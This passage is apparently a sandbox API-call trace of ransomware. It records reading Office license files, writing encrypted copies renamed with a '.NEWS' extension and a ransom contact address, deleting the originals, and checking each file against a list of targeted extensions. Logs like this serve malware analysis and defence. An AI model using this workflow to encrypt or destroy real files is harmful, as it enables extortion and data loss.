Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.887] lstrlenW (lpString=".doc") returned 4 [0188.887] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.887] lstrlenW (lpString=".docx") returned 5 [0188.887] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.887] lstrlenW (lpString=".pdf") returned 4 [0188.887] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.887] lstrlenW (lpString=".xls") returned 4 [0188.888] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.888] lstrlenW (lpString=".xlsx") returned 5 [0188.888] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.888] lstrlenW (lpString=".ppt") returned 4 [0188.888] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.888] lstrlenW (lpString=".zip") returned 4 [0188.888] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.888] lstrlenW (lpString=".rar") returned 4 [0188.888] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.888] lstrlenW (lpString=".bz2") returned 4 [0188.888] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.888] lstrlenW (lpString=".7z") returned 3 [0188.888] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.888] lstrlenW (lpString=".dbf") returned 4 [0188.888] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.888] lstrlenW (lpString=".1cd") returned 4 [0188.888] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0188.888] lstrlenW (lpString=".jpg") returned 4 [0188.888] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.888] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.889] lstrlenW (lpString="MondoR_BypassTrial180-pl.xrm-ms") returned 31 [0188.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0188.890] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11175) returned 1 [0188.890] CloseHandle (hObject=0x2e4) returned 1 [0188.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0188.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0188.891] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.891] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0188.892] GetLastError () returned 0x0 [0188.892] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0188.894] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0188.897] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.897] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x112, lpOverlapped=0x0) returned 1 [0188.897] SetEndOfFile (hFile=0x2e8) returned 1 [0188.897] CloseHandle (hObject=0x2e8) returned 1 [0188.897] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.897] SetEndOfFile (hFile=0x2e4) returned 1 [0188.900] CloseHandle (hObject=0x2e4) returned 1 [0188.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1 [0188.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.901] lstrlenW (lpString=".doc") returned 4 [0188.901] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.901] lstrlenW (lpString=".docx") returned 5 [0188.901] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.901] lstrlenW (lpString=".pdf") returned 4 [0188.901] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.901] lstrlenW (lpString=".xls") returned 4 [0188.901] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.901] lstrlenW (lpString=".xlsx") returned 5 [0188.901] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.901] lstrlenW (lpString=".ppt") returned 4 [0188.901] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.901] lstrlenW (lpString=".zip") returned 4 [0188.901] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.901] lstrlenW (lpString=".rar") returned 4 [0188.902] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString=".bz2") returned 4 [0188.902] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString=".7z") returned 3 [0188.902] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.902] lstrlenW (lpString=".dbf") returned 4 [0188.902] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.902] lstrlenW (lpString=".1cd") returned 4 [0188.902] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.902] lstrlenW (lpString=".jpg") returned 4 [0188.902] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.902] lstrlenW (lpString=".doc") returned 4 [0188.902] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString=".docx") returned 5 [0188.902] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.902] lstrlenW (lpString=".pdf") returned 4 [0188.902] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString=".xls") returned 4 [0188.902] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString=".xlsx") returned 5 [0188.902] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.902] lstrlenW (lpString=".ppt") returned 4 [0188.902] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.902] lstrlenW (lpString=".zip") returned 4 [0188.902] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString=".rar") returned 4 [0188.902] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString=".bz2") returned 4 [0188.902] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.902] lstrlenW (lpString=".7z") returned 3 [0188.903] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.903] lstrlenW (lpString=".dbf") returned 4 [0188.903] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.903] lstrlenW (lpString=".1cd") returned 4 [0188.903] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0188.903] lstrlenW (lpString=".jpg") returned 4 [0188.903] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.903] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.903] lstrlenW (lpString="MondoR_BypassTrial180-ppd.xrm-ms") returned 32 [0188.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0188.904] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=26538) returned 1 [0188.904] CloseHandle (hObject=0x2e4) returned 1 [0188.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0188.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0188.904] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.904] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0188.905] GetLastError () returned 0x0 [0188.905] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x67aa, lpOverlapped=0x0) returned 1 [0189.233] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0189.235] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.235] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x114, lpOverlapped=0x0) returned 1 [0189.235] SetEndOfFile (hFile=0x2e8) returned 1 [0189.235] CloseHandle (hObject=0x2e8) returned 1 [0189.235] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.235] SetEndOfFile (hFile=0x2e4) returned 1 [0189.238] CloseHandle (hObject=0x2e4) returned 1 [0189.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 1 [0189.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.240] lstrlenW (lpString=".doc") returned 4 [0189.240] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.240] lstrlenW (lpString=".docx") returned 5 [0189.240] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.240] lstrlenW (lpString=".pdf") returned 4 [0189.240] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.240] lstrlenW (lpString=".xls") returned 4 [0189.240] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.240] lstrlenW (lpString=".xlsx") returned 5 [0189.240] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.240] lstrlenW (lpString=".ppt") returned 4 [0189.240] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.241] lstrlenW (lpString=".zip") returned 4 [0189.241] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.241] lstrlenW (lpString=".rar") returned 4 [0189.241] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.241] lstrlenW (lpString=".bz2") returned 4 [0189.241] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.241] lstrlenW (lpString=".7z") returned 3 [0189.241] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.241] lstrlenW (lpString=".dbf") returned 4 [0189.241] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.241] lstrlenW (lpString=".1cd") returned 4 [0189.241] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.241] lstrlenW (lpString=".jpg") returned 4 [0189.241] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.241] lstrlenW (lpString=".doc") returned 4 [0189.241] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.241] lstrlenW (lpString=".docx") returned 5 [0189.241] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.241] lstrlenW (lpString=".pdf") returned 4 [0189.241] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.241] lstrlenW (lpString=".xls") returned 4 [0189.241] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.241] lstrlenW (lpString=".xlsx") returned 5 [0189.241] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.242] lstrlenW (lpString=".ppt") returned 4 [0189.242] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.242] lstrlenW (lpString=".zip") returned 4 [0189.242] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.242] lstrlenW (lpString=".rar") returned 4 [0189.242] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.242] lstrlenW (lpString=".bz2") returned 4 [0189.242] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.242] lstrlenW (lpString=".7z") returned 3 [0189.242] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.242] lstrlenW (lpString=".dbf") returned 4 [0189.242] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.242] lstrlenW (lpString=".1cd") returned 4 [0189.242] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0189.242] lstrlenW (lpString=".jpg") returned 4 [0189.242] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.242] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.242] lstrlenW (lpString="MondoR_Retail-pl.xrm-ms") returned 23 [0189.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.243] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10627) returned 1 [0189.243] CloseHandle (hObject=0x2e4) returned 1 [0189.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220 [0189.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.244] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.244] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.244] GetLastError () returned 0x0 [0189.244] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2983, lpOverlapped=0x0) returned 1 [0189.247] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2990, lpOverlapped=0x0) returned 1 [0189.248] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.248] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x102, lpOverlapped=0x0) returned 1 [0189.248] SetEndOfFile (hFile=0x2e8) returned 1 [0189.248] CloseHandle (hObject=0x2e8) returned 1 [0189.248] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.248] SetEndOfFile (hFile=0x2e4) returned 1 [0189.252] CloseHandle (hObject=0x2e4) returned 1 [0189.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 1 [0189.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.254] lstrlenW (lpString=".doc") returned 4 [0189.254] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.254] lstrlenW (lpString=".docx") returned 5 [0189.254] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.254] lstrlenW (lpString=".pdf") returned 4 [0189.254] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.254] lstrlenW (lpString=".xls") returned 4 [0189.254] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.254] lstrlenW (lpString=".xlsx") returned 5 [0189.254] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.254] lstrlenW (lpString=".ppt") returned 4 [0189.254] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.254] lstrlenW (lpString=".zip") returned 4 [0189.254] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.254] lstrlenW (lpString=".rar") returned 4 [0189.254] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.254] lstrlenW (lpString=".bz2") returned 4 [0189.254] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.254] lstrlenW (lpString=".7z") returned 3 [0189.255] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0189.255] lstrlenW (lpString=".dbf") returned 4 [0189.255] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.255] lstrlenW (lpString="C:\\Program Files\\Microsoft 